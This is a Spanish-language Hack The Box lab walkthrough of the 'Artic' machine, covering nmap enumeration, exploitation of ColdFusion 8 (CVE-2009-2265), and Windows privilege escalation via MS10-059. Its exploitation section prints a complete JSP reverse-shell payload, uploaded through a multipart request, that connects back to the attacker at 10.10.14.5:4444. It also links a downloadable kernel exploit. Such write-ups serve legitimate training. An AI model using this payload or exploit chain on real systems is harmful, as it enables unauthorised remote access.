# Artic

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FhzjkqxFKCKAf0OJR70gD%2F999999.png?alt=media&#x26;token=6029e634-8c00-4f38-8b45-28b85c0790e9" alt=""><figcaption></figcaption></figure>

<table><thead><tr><th width="227">Datos</th><th width="288.3333333333333"> </th><th>Notas</th></tr></thead><tbody><tr><td>Nombre de la máquina: </td><td><a href="https://app.hackthebox.com/machines/9">Artic</a></td><td></td></tr><tr><td>IP de la máquina:</td><td>10.10.10.11</td><td></td></tr><tr><td>Sistema simulado: </td><td>Windows Server 2008 R2</td><td></td></tr><tr><td>Servicio vulnerado: </td><td>Colfusion8</td><td></td></tr><tr><td>CVEs:</td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2009-2265">CVE 2009-2265</a></td><td></td></tr></tbody></table>

### 1. Enumeración y descubrimiento

Comenzamos el ejercicio realizando un reconocimiento con NMAP a todos los puertos de la máquina Artic.

```bash
nmap -sC -sV -sT 10.10.10.11 -p-
```

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FntK351nHWrR6IfQ8umwK%2F12.png?alt=media&#x26;token=b4386929-648a-45b7-9c76-3011a2f59d5f" alt=""><figcaption></figcaption></figure>

Encontramos el puerto 8500 abierto el cual no conseguimos localizar que servicio está funcionando en él. Lanzamos una petición al servicio y nos encontramos lo siguiente.

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FhP635V39rMuSjVlLmeqe%2F13.png?alt=media&#x26;token=f37b65a6-51e5-4bf7-b67d-d419257d5716" alt=""><figcaption></figcaption></figure>

Cuando entramos a la web en el puerto 8500 encontramos:

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FTV0D30feqwOT6yfcPGoD%2F14.png?alt=media&#x26;token=896d92e1-ae9c-4da6-96e0-0e4433b3c7bc" alt=""><figcaption></figcaption></figure>

Siguiendo la ruta 10.10.10.11:8500/CFIDE/administrator podemos observar Coldfusion version 8, la cual vamos a intentar atacar.

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FXoirIfyDOTw9itrZhaDR%2F14.png?alt=media&#x26;token=62bd1ceb-c1cf-4f02-b170-533b593487cb" alt=""><figcaption></figcaption></figure>

### 2. Explotación

En este paso vamos a buscar un exploit para aprovecharnos del CVE 2009-2265 y usaremos el exploit que nos proporciona exploit-db realizado por PERGYZ para ayudarnos de ello. Este requiere alguna configuración en el código. Para ello lo abrimos y modificamos la información.

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FhrWCqlMcHuFGJFyoY5r1%2F15.png?alt=media&#x26;token=cd9b7047-5279-4682-a4eb-4d6ea7a53e6d" alt=""><figcaption></figcaption></figure>

Una vez hecho esto ejecutamos el código python y obtenemos acceso a la máquina apareciendonos algo similar a esto.

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# python 50057.py

Generating a payload...
Payload size: 1496 bytes
Saved as: acd1c28c77684b0289eac27dd92e36b6.jsp

Priting request...
Content-type: multipart/form-data; boundary=d5515b17acb1451aadb54a6e1cc4eee6
Content-length: 1697

--d5515b17acb1451aadb54a6e1cc4eee6
Content-Disposition: form-data; name="newfile"; filename="acd1c28c77684b0289eac27dd92e36b6.txt"
Content-Type: text/plain

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector extends Thread
  {
    InputStream vd;
    OutputStream jC;

    StreamConnector( InputStream vd, OutputStream jC )
    {
      this.vd = vd;
      this.jC = jC;
    }

    public void run()
    {
      BufferedReader hq  = null;
      BufferedWriter u5p = null;
      try
      {
        hq  = new BufferedReader( new InputStreamReader( this.vd ) );
        u5p = new BufferedWriter( new OutputStreamWriter( this.jC ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = hq.read( buffer, 0, buffer.length ) ) > 0 )
        {
          u5p.write( buffer, 0, length );
          u5p.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( hq != null )
          hq.close();
        if( u5p != null )
          u5p.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "10.10.14.5", 4444 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

--d5515b17acb1451aadb54a6e1cc4eee6--


Sending request and printing response...


                <script type="text/javascript">
                        window.parent.OnUploadCompleted( 0, "/userfiles/file/acd1c28c77684b0289eac27dd92e36b6.jsp/acd1c28c77684b0289eac27dd92e36b6.txt", "acd1c28c77684b0289eac27dd92e36b6.txt", "0" );
                </script>


Printing some information for debugging...
lhost: 10.10.14.5
lport: 4444
rhost: 10.10.10.11
rport: 8500
payload: acd1c28c77684b0289eac27dd92e36b6.jsp

Deleting the payload...

Listening for connection...

Executing the payload...
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.11] 49282

```

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FfT2DNJYjYbMMnyFxVYD3%2F16.png?alt=media&#x26;token=efba2c17-23d2-4c11-b746-bf586d6b6a15" alt=""><figcaption></figcaption></figure>

En este punto podremos obtener acceso a la flag del usuario tolis y tendremos que empezar a planificar la escalada de privilegios.

### 3. Escalada de privilegios Root

Llegado a este punto ejecutamos systeminfo para ver en profundidad que sistema estamos trabajando.

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FzIxaVAmNrv10weuyniL3%2F17.png?alt=media&#x26;token=1e626f93-1876-444e-a9ac-fd9bac988621" alt=""><figcaption></figcaption></figure>

Estudiando el sistema con el que estamos funcionando vemos la posibilidad de explotar la vulnerabilidad con varios exploits. Nosotros utilizaremos el [exploit ](https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS10-059/MS10-059.exe)el cual nos permite explotar el [MS 10-059](https://support.microsoft.com/es-es/topic/ms10-059-existen-vulnerabilidades-en-la-caracter%C3%ADstica-de-seguimiento-de-servicios-que-podr%C3%ADan-permitir-la-elevaci%C3%B3n-de-privilegios-ebc5aca9-39f2-9c6a-fe20-bab9d27eb710) y generar una escalada de privilegios. Por ello vamos a montar un servidor de Python y descargarnos el compilado en el equipo infectado.

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FedUFf5CDVYwx1E51nZkZ%2F19.png?alt=media&#x26;token=04452a35-a49f-44a7-aa76-947f0076fb6f" alt=""><figcaption></figcaption></figure>

Recogemos la shell del exploit desde nuestro netcat escalando a privilegios de administrador y consguiendo acceso a la flag de root.

<figure><img src="https://257310033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEmv3fqphfy8VwLXcD7MH%2Fuploads%2FCEr4lDtXzWRIaveFepdR%2F19.png?alt=media&#x26;token=825b21d1-39d4-426a-a3ba-dad64433e35a" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Si te he ayudado sígueme y apóyame en [Hack The Box ](https://app.hackthebox.com/profile/819073)
{% endhint %}
